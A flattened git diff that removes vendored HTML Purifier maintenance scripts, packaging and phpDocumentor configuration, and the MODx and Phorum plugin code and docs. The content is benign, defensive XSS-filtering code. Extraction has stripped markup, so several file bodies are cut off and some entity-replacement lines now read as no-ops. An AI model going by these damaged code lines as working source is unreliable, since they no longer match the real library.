-$FS->rmdirr('standalone'); // ensure a clean copy - -// data files -$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer'); -make_file_standalone('HTMLPurifier/EntityLookup/entities.ser'); -make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser'); - -// non-standard inclusion setup -make_dir_standalone('HTMLPurifier/ConfigSchema'); -make_dir_standalone('HTMLPurifier/Language'); -make_dir_standalone('HTMLPurifier/Filter'); -make_dir_standalone('HTMLPurifier/Printer'); -make_file_standalone('HTMLPurifier/Printer.php'); -make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); - -echo ' done!' . PHP_EOL; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/merge-library.php b/vendor/ezyang/htmlpurifier/maintenance/merge-library.php deleted file mode 100644 index fed342a51a..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/merge-library.php +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/php -open('w'); - $multiline = false; - foreach ($hash as $key => $value) { - $multiline = $multiline || (strpos($value, "\n") !== false); - if ($multiline) { - $file->put("--$key--" . PHP_EOL); - $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL); - } else { - if ($key == 'ID') { - $file->put("$value" . PHP_EOL); - } else { - $file->put("$key: $value" . PHP_EOL); - } - } - } - $file->close(); -} - -$schema = HTMLPurifier_ConfigSchema::instance(); -$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema); - -foreach ($schema->info as $ns => $ns_array) { - saveHash($adapter->get($ns)); - foreach ($ns_array as $dir => $x) { - saveHash($adapter->get($ns, $dir)); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php b/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php deleted file mode 100644 index c4d9af9721..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php b/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php deleted file mode 100644 index 46be94e121..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } - if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) { - echo "Indented ConfigSchema call in $file\n"; - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh b/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh deleted file mode 100644 index 19a25199db..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -e -./compile-doxygen.sh -cd ../docs -scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org -ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh" diff --git a/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php b/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php deleted file mode 100644 index 11c0774a5c..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/php -globr('.', '{,.}*', GLOB_BRACE); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./.git', $file) || - prefix_is('./docs/doxygen', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $contents = file_get_contents($file); - $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count); - if (!$count) continue; - echo "$file\n"; - file_put_contents($file, $result); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/rename-config.php b/vendor/ezyang/htmlpurifier/maintenance/rename-config.php deleted file mode 100644 index 3bfdfbbbcf..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/rename-config.php +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/php -buildFile($interchange, $file); -$contents = file_get_contents($file); - -if (strpos($contents, "\r\n") !== false) { - $nl = "\r\n"; -} elseif (strpos($contents, "\r") !== false) { - $nl = "\r"; -} else { - $nl = "\n"; -} - -// replace name with new name -$contents = str_replace($old, $new, $contents); - -if ($interchange->directives[$old]->aliases) { - $pos_alias = strpos($contents, 'ALIASES:'); - $pos_ins = strpos($contents, $nl, $pos_alias); - if ($pos_ins === false) $pos_ins = strlen($contents); - $contents = - substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins); - file_put_contents($file, $contents); -} else { - $lines = explode($nl, $contents); - $insert = false; - foreach ($lines as $n => $line) { - if (strncmp($line, '--', 2) === 0) { - $insert = $n; - break; - } - } - if (!$insert) { - $lines[] = "ALIASES: $old"; - } else { - array_splice($lines, $insert, 0, "ALIASES: $old"); - } - file_put_contents($file, implode($nl, $lines)); -} - -rename("$old.txt", "$new.txt") || exit(1); diff --git a/vendor/ezyang/htmlpurifier/package.php b/vendor/ezyang/htmlpurifier/package.php deleted file mode 100644 index eaaa8ccc82..0000000000 --- a/vendor/ezyang/htmlpurifier/package.php +++ /dev/null @@ -1,61 +0,0 @@ -setOptions( - array( - 'baseinstalldir' => '/', - 'packagefile' => 'package.xml', - 'packagedirectory' => realpath(dirname(__FILE__) . '/library'), - 'filelistgenerator' => 'file', - 'include' => array('*'), - 'dir_roles' => array('/' => 'php'), // hack to put *.ser files in the right place - 'ignore' => array( - 'HTMLPurifier.standalone.php', - 'HTMLPurifier.path.php', - '*.tar.gz', - '*.tgz', - 'standalone/' - ), - ) -); - -$pkg->setPackage('HTMLPurifier'); -$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html'); -$pkg->setSummary('Standards-compliant HTML filter'); -$pkg->setDescription( - 'HTML Purifier is an HTML filter that will remove all malicious code - (better known as XSS) with a thoroughly audited, secure yet permissive - whitelist and will also make sure your documents are standards - compliant.' -); - -$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes'); - -$version = trim(file_get_contents('VERSION')); -$api_version = substr($version, 0, strrpos($version, '.')); - -$pkg->setChannel('htmlpurifier.org'); -$pkg->setAPIVersion($api_version); -$pkg->setAPIStability('stable'); -$pkg->setReleaseVersion($version); -$pkg->setReleaseStability('stable'); - -$pkg->addRelease(); - -$pkg->setNotes(file_get_contents('WHATSNEW')); -$pkg->setPackageType('php'); - -$pkg->setPhpDep('5.0.0'); -$pkg->setPearinstallerDep('1.4.3'); - -$pkg->generateContents(); - -$pkg->writePackageFile(); - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/phpdoc.ini b/vendor/ezyang/htmlpurifier/phpdoc.ini deleted file mode 100644 index 5ac8b2140c..0000000000 --- a/vendor/ezyang/htmlpurifier/phpdoc.ini +++ /dev/null @@ -1,102 +0,0 @@ -;; phpDocumentor parse configuration file -;; -;; This file is designed to cut down on repetitive typing on the command-line or web interface -;; You can copy this file to create a number of configuration files that can be used with the -;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web -;; interface will automatically generate a list of .ini files that can be used. -;; -;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs -;; -;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini -;; -;; Copyright 2002, Greg Beaver -;; -;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them - -[Parse Data] -;; title of all the documentation -;; legal values: any string -title = HTML Purifier API Documentation - -;; parse files that start with a . like .bash_profile -;; legal values: true, false -hidden = false - -;; show elements marked @access private in documentation by setting this to on -;; legal values: on, off -parseprivate = off - -;; parse with javadoc-like description (first sentence is always the short description) -;; legal values: on, off -javadocdesc = on - -;; add any custom @tags separated by commas here -;; legal values: any legal tagname separated by commas. -;customtags = mytag1,mytag2 - -;; This is only used by the XML:DocBook/peardoc2 converter -defaultcategoryname = Documentation - -;; what is the main package? -;; legal values: alphanumeric string plus - and _ -defaultpackagename = HTMLPurifier - -;; output any parsing information? set to on for cron jobs -;; legal values: on -;quiet = on - -;; parse a PEAR-style repository. Do not turn this on if your project does -;; not have a parent directory named "pear" -;; legal values: on/off -;pear = on - -;; where should the documentation be written? -;; legal values: a legal path -target = docs/phpdoc - -;; Which files should be parsed out as special documentation files, such as README, -;; INSTALL and CHANGELOG? This overrides the default files found in -;; phpDocumentor.ini (this file is not a user .ini file, but the global file) -readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS - -;; limit output to the specified packages, even if others are parsed -;; legal values: package names separated by commas -;packageoutput = package1,package2 - -;; comma-separated list of files to parse -;; legal values: paths separated by commas -;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory - -;; comma-separated list of directories to parse -;; legal values: directory paths separated by commas -;directory = /path1,/path2,.,..,subdirectory -;directory = /home/jeichorn/cvs/pear -directory = . - -;; template base directory (the equivalent directory of /phpDocumentor) -;templatebase = /path/to/my/templates - -;; directory to find any example files in through @example and {@example} tags -;examplesdir = /path/to/my/templates - -;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore -;; legal values: any wildcard strings separated by commas -;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/ -ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf* - -sourcecode = on - -;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format -;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib, -;; HTML:frames:earthli, -;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de, -;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli -;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS -;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default -output=HTML:frames:default - -;; turn this option on if you want highlighted source code for every file -;; legal values: on/off -sourcecode = on - -; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/modx.txt b/vendor/ezyang/htmlpurifier/plugins/modx.txt deleted file mode 100644 index bcdd40d87e..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/modx.txt +++ /dev/null @@ -1,112 +0,0 @@ - -MODx Plugin - -MODx is an open source PHP application framework. -I first came across them in my referrer logs when tillda asked if anyone -could implement an HTML Purifier plugin. This forum thread - eventually resulted -in the fruition of this plugin that davidm says, "is on top of my favorite -list." HTML Purifier goes great with WYSIWYG editors! - - - -1. Credits - -PaulGregory wrote the overall structure of the code. I added the -slashes hack. - - - -2. Install - -First, you need to place HTML Purifier library somewhere. The code here -assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version -number). - -Log into the manager, and navigate: - -Resources > Manage Resources > Plugins tab > New Plugin - -Type in a name (probably HTML Purifier), and copy paste this code into the -textarea: - --------------------------------------------------------------------------------- -$e = &$modx->Event; -if ($e->name == 'OnBeforeDocFormSave') { - global $content; - - include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php'; - $purifier = new HTMLPurifier(); - - static $magic_quotes = null; - if ($magic_quotes === null) { - // this is an ugly hack because this hook hasn't - // had the backslashes removed yet when magic_quotes_gpc is on, - // but HTMLPurifier must not have the quotes slashed. - $magic_quotes = get_magic_quotes_gpc(); - } - - if ($magic_quotes) $content = stripslashes($content); - $content = $purifier->purify($content); - if ($magic_quotes) $content = addslashes($content); -} --------------------------------------------------------------------------------- - -Then navigate to the System Events tab and check "OnBeforeDocFormSave". -Save the plugin. HTML Purifier now is integrated! - - - -3. Making sure it works - -You can test HTML Purifier by deliberately putting in crappy HTML and seeing -whether or not it gets fixed. A better way is to put in something like this: - -

    Il est bon

    - -...and seeing whether or not the content comes out as: - -

    Il est bon

    - -(lang to xml:lang synchronization is one of the many features HTML Purifier -has). - - - -4. Caveat Emptor - -This code does not intercept save requests from the QuickEdit plugin, this may -be added in a later version. It also modifies things on save, so there's a -slight chance that HTML Purifier may make a boo-boo and accidently mess things -up (the original version is not saved). - -Finally, make sure that MODx is using UTF-8. If you are using, say, a French -localisation, you may be using Latin-1, if that's the case, configure -HTML Purifier properly like this: - -$config = HTMLPurifier_Config::createDefault(); -$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding -$purifier = new HTMLPurifier($config); - - - -5. Known Bugs - -'rn' characters sometimes mysteriously appear after purification. We are -currently investigating this issue. See: - - - -6. See Also - -A modified version of Jot 1.1.3 is available, which integrates with HTML -Purifier. You can check it out here: - - -X. Changelog - -2008-06-16 -- Updated code to work with 3.1.0 and later -- Add Known Bugs and See Also section - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog b/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog deleted file mode 100644 index 5633667c0b..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog +++ /dev/null @@ -1,27 +0,0 @@ -Changelog HTMLPurifier : Phorum Mod -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -Version 4.0.0 for Phorum 5.2, released July 9, 2009 -# Works only with HTML Purifier 4.0.0 -! Better installation documentation -- Fixed double encoded quotes -- Fixed fatal error when migrate.php is blank - -Version 3.0.0 for Phorum 5.2, released January 12, 2008 -# WYSIWYG and suppress_message options are now configurable via web - interface. -- Module now compatible with Phorum 5.2, primary bugs were in migration - code as well as signature and edit message handling. This module is NOT - compatible with Phorum 5.1. -- Buggy WYSIWYG mode refined -. AutoFormatParam added to list of default configuration namespaces - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL b/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL deleted file mode 100644 index c8670df434..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL +++ /dev/null @@ -1,84 +0,0 @@ - -Install - How to install the Phorum HTML Purifier plugin - -0. PREREQUISITES ----------------- -This Phorum module only works on PHP5 and with HTML Purifier 4.0.0 -or later. - -1. UNZIP --------- -Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder. -You've already done this step if you're reading this! - -2. MOVE -------- -Move the htmlpurifier folder to the mods/ folder of your Phorum -installation, so the directory structure looks like: - -phorum/ - mods/ - htmlpurifier/ - INSTALL - this install file - info.txt, ... - the module files - htmlpurifier/ - -3. INSTALL HTML PURIFIER ------------------------- -Download and unzip HTML Purifier . Place the contents of -the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory -structure will look like: - -phorum/ - mods/ - htmlpurifier/ - htmlpurifier/ - HTMLPurifier.auto.php - ... - other files - HTMLPurifier/ - -Advanced users: - If you have HTML Purifier installed elsewhere on your server, - all you need is an HTMLPurifier.auto.php file in the library folder which - includes the HTMLPurifier.auto.php file in your install. - -4. MIGRATE ----------- -If you're setting up a new Phorum installation, all you need to do is create -a blank migrate.php file in the htmlpurifier module folder (NOT the library -folder. - -If you have an old Phorum installation and was using BBCode, -copy migrate.bbcode.php to migrate.php. If you were using a different input -format, follow the instructions in migrate.bbcode.php to create your own custom -migrate.php file. - -Your directory structure should now look like this: - -phorum/ - mods/ - htmlpurifier/ - migrate.php - -5. ENABLE ---------- -Navigate to your Phorum admin panel at http://example.com/phorum/admin.php, -click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and -turn it On. - -6. MIGRATE SIGNATURES ---------------------- -If you're setting up a new Phorum installation, skip this step. - -If you allowed your users to make signatures, navigate to the module settings -page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod > -Configure), type in "yes" in the "Confirm" box, and press "Migrate." - -ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE! - -7. CONFIGURE ------------- -Configure using Edit settings. See that page for more information. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/README b/vendor/ezyang/htmlpurifier/plugins/phorum/README deleted file mode 100644 index e433c33f53..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/README +++ /dev/null @@ -1,45 +0,0 @@ - -HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way! - -This Phorum mod enables HTML posting on Phorum. Under normal circumstances, -this would cause a huge security risk, but because we are running -HTML through HTML Purifier, output is guaranteed to be XSS free and -standards-compliant. - -This mod requires HTML input, and previous markup languages need to be -converted accordingly. Thus, it is vital that you create a 'migrate.php' -file that works with your installation. If you're using the built-in -BBCode formatting, simply move migrate.bbcode.php to that place; for -other markup languages, consult said file for instructions on how -to adapt it to your needs. - - -- NOTE ------------------------------------------------- - You can also run this module in parallel with another - formatting module; this module attempts to place itself - at the end of the filtering chain. However, if any - previous modules produce insecure HTML (for instance, - a JavaScript email obfuscator) they will get cleaned. - -This module will not work if 'migrate.php' is not created, and an improperly -made migration file may *CORRUPT* Phorum, so please take your time to -do this correctly. It should go without saying to *BACKUP YOUR DATABASE* -before attempting anything here. If no migration is necessary, you can -simply create a blank migrate.php file. HTML Purifier is smart and will -not re-migrate already processed messages. However, the original code -is irretrievably lost (we may change this in the future.) - -This module will not automatically migrate user signatures, because this -process may take a long time. After installing the HTML Purifier module and -then configuring 'migrate.php', navigate to Settings and click 'Migrate -Signatures' to migrate all user signatures to HTML. - -All of HTML Purifier's usual functions are configurable via the mod settings -page. If you require custom configuration, create config.php file in -the mod directory that edits a $config variable. Be sure, also, to -set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a -WYSIWYG editor (you can do this through a common hook or the web -configuration form). - -Visit HTML Purifier at . - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php b/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php deleted file mode 100644 index cc3a6ead5c..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php +++ /dev/null @@ -1,58 +0,0 @@ -set('HTML.Allowed', - // alphabetically sorted -'a[href|title] -abbr[title] -acronym[title] -b -blockquote[cite] -br -caption -cite -code -dd -del -dfn -div -dl -dt -em -i -img[src|alt|title|class] -ins -kbd -li -ol -p -pre -s -strike -strong -sub -sup -table -tbody -td -tfoot -th -thead -tr -tt -u -ul -var'); -$config->set('AutoFormat.AutoParagraph', true); -$config->set('AutoFormat.Linkify', true); -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); -$config->set('Core.AggressivelyFixLt', true); -$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually -if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') { - $config->set('Core.EscapeNonASCIICharacters', true); -} -$config->set('Core.AllowParseManyTags', false); - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php b/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php deleted file mode 100644 index 7196f8f316..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php +++ /dev/null @@ -1,316 +0,0 @@ - $message){ - if(isset($message['body'])) { - - if ($message_id) { - // we're dealing with a real message, not a fake, so - // there a number of shortcuts that can be taken - - if (isset($message['meta']['htmlpurifier_light'])) { - // format hook was called outside of Phorum's normal - // functions, do the abridged purification - $data[$message_id]['body'] = $purifier->purify($message['body']); - continue; - } - - if (!empty($PHORUM['args']['purge'])) { - // purge the cache, must be below the following if - unset($message['meta']['body_cache']); - } - - if ( - isset($message['meta']['body_cache']) && - isset($message['meta']['body_cache_serial']) && - $message['meta']['body_cache_serial'] == $cache_serial - ) { - // cached version is present, bail out early - $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']); - continue; - } - } - - // migration might edit this array, that's why it's defined - // so early - $updated_message = array(); - - // create the $body variable - if ( - $message_id && // message must be real to migrate - !isset($message['meta']['body_cache_serial']) - ) { - // perform migration - $fake_data = array(); - list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message); - $fake_data[$message_id] = $message; - $fake_data = phorum_htmlpurifier_migrate($fake_data); - $body = $fake_data[$message_id]['body']; - $body = str_replace("\n", "\n", $body); - $updated_message['body'] = $body; // save it in - $body .= $signature . $edit_message; // add it back in - } else { - // reverse Phorum's pre-processing - $body = $message['body']; - // order is important - $body = str_replace("\n", "\n", $body); - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - if (!$message_id && defined('PHORUM_CONTROL_CENTER')) { - // we're in control.php, so it was double-escaped - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - } - } - - $body = $purifier->purify($body); - - // dynamically update the cache (MUST BE DONE HERE!) - // this is inefficient because it's one db call per - // cache miss, but once the cache is in place things are - // a lot zippier. - - if ($message_id) { // make sure it's not a fake id - $updated_message['meta'] = $message['meta']; - $updated_message['meta']['body_cache'] = base64_encode($body); - $updated_message['meta']['body_cache_serial'] = $cache_serial; - phorum_db_update_message($message_id, $updated_message); - } - - // must not get overloaded until after we cache it, otherwise - // we'll inadvertently change the original text - $data[$message_id]['body'] = $body; - - } - } - - return $data; -} - -// ----------------------------------------------------------------------- -// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please -// keep this code in-sync with Phorum - -/** - * Generates a signature based on a message array - */ -function phorum_htmlpurifier_generate_sig($row) -{ - $phorum_sig = ''; - if(isset($row["user"]["signature"]) - && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){ - $phorum_sig=trim($row["user"]["signature"]); - if(!empty($phorum_sig)){ - $phorum_sig="\n\n$phorum_sig"; - } - } - return $phorum_sig; -} - -/** - * Generates an edit message based on a message array - */ -function phorum_htmlpurifier_generate_editmessage($row) -{ - $PHORUM = $GLOBALS['PHORUM']; - $editmessage = ''; - if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) { - $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]); - $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage); - $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage); - $editmessage = "\n\n\n\n$editmessage"; - } - return $editmessage; -} - -// End fragile code -// ----------------------------------------------------------------------- - -/** - * Removes the signature and edit message from a message - * @param $row Message passed by reference - */ -function phorum_htmlpurifier_remove_sig_and_editmessage(&$row) -{ - $signature = phorum_htmlpurifier_generate_sig($row); - $editmessage = phorum_htmlpurifier_generate_editmessage($row); - $replacements = array(); - // we need to remove add as that is the form these - // extra bits are in. - if ($signature) $replacements[str_replace("\n", "\n", $signature)] = ''; - if ($editmessage) $replacements[str_replace("\n", "\n", $editmessage)] = ''; - $row['body'] = strtr($row['body'], $replacements); - return array($signature, $editmessage); -} - -/** - * Indicate that data is fully HTML and not from migration, invalidate - * previous caches - * @note This function could generate the actual cache entries, but - * since there's data missing that must be deferred to the first read - */ -function phorum_htmlpurifier_posting($message) -{ - $PHORUM = $GLOBALS["PHORUM"]; - unset($message['meta']['body_cache']); // invalidate the cache - $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial']; - return $message; -} - -/** - * Overload quoting mechanism to prevent default, mail-style quote from happening - */ -function phorum_htmlpurifier_quote($array) -{ - $PHORUM = $GLOBALS["PHORUM"]; - $purifier =& HTMLPurifier::getInstance(); - $text = $purifier->purify($array[1]); - $source = htmlspecialchars($array[0]); - return "
    \n$text\n
    "; -} - -/** - * Ensure that our format hook is processed last. Also, loads the library. - * @credits - */ -function phorum_htmlpurifier_common() -{ - require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php'); - require(dirname(__FILE__).'/init-config.php'); - - $config = phorum_htmlpurifier_get_config(); - HTMLPurifier::getInstance($config); - - // increment revision.txt if you want to invalidate the cache - $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial(); - - // load migration - if (file_exists(dirname(__FILE__) . '/migrate.php')) { - include(dirname(__FILE__) . '/migrate.php'); - } else { - echo 'Error: No migration path specified for HTML Purifier, please check - modes/htmlpurifier/migrate.bbcode.php for instructions on - how to migrate from your previous markup language.'; - exit; - } - - if (!function_exists('phorum_htmlpurifier_migrate')) { - // Dummy function - function phorum_htmlpurifier_migrate($data) {return $data;} - } - -} - -/** - * Pre-emptively performs purification if it looks like a WYSIWYG editor - * is being used - */ -function phorum_htmlpurifier_before_editor($message) -{ - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - if (!empty($message['body'])) { - $body = $message['body']; - // de-entity-ize contents - $body = str_replace(array('<','>','&'), array('<','>','&'), $body); - $purifier =& HTMLPurifier::getInstance(); - $body = $purifier->purify($body); - // re-entity-ize contents - $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']); - $message['body'] = $body; - } - } - return $message; -} - -function phorum_htmlpurifier_editor_after_subject() -{ - // don't show this message if it's a WYSIWYG editor, since it will - // then be handled automatically - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - $i = $GLOBALS['PHORUM']['DATA']['MODE']; - if ($i == 'quote' || $i == 'edit' || $i == 'moderation') { - ?> -
    -

    - Notice: HTML has been scrubbed for your safety. - If you would like to see the original, turn off WYSIWYG mode - (consult your administrator for details.) -

    -
    -
    -

    - HTML input is enabled. Make sure you escape all HTML and - angled brackets with &lt; and &gt;. -

    config; - if ($config->get('AutoFormat.AutoParagraph')) { - ?>

    - Auto-paragraphing is enabled. Double - newlines will be converted to paragraphs; for single - newlines, use the pre tag. -

    getDefinition('HTML'); - $allowed = array(); - foreach ($html_definition->info as $name => $x) $allowed[] = "$name"; - sort($allowed); - $allowed_text = implode(', ', $allowed); - ?>

    Allowed tags: .

    -

    -

    - For inputting literal code such as HTML and PHP for display, use - CDATA tags to auto-escape your angled brackets, and pre - to preserve newlines: -

    -
    <pre><![CDATA[
    -Place code here
    -]]></pre>
    -

    - Power users, you can hide this notice with: -

    .htmlpurifier-help {display:none;}
    -

    -
    - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README b/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README deleted file mode 100644 index 066abe047a..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README +++ /dev/null @@ -1,3 +0,0 @@ -The contents of the library/ folder should be here. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt b/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt deleted file mode 100644 index 5a5a500872..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt +++ /dev/null @@ -1,18 +0,0 @@ -title: HTML Purifier Phorum Mod -desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod. -author: Edward Z. Yang -url: http://htmlpurifier.org/ -version: 4.0.0 - -hook: format|phorum_htmlpurifier_format -hook: quote|phorum_htmlpurifier_quote -hook: posting_custom_action|phorum_htmlpurifier_posting -hook: common|phorum_htmlpurifier_common -hook: before_editor|phorum_htmlpurifier_before_editor -hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject - -# This module is meant to be a drop-in for bbcode, so make it run last. -priority: run module after * -priority: run hook format after * - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php b/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php deleted file mode 100644 index f484760a17..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php +++ /dev/null @@ -1,30 +0,0 @@ -'; -phorum_htmlpurifier_show_form(); - -// vim: et sw=4 sts=4 diff --git 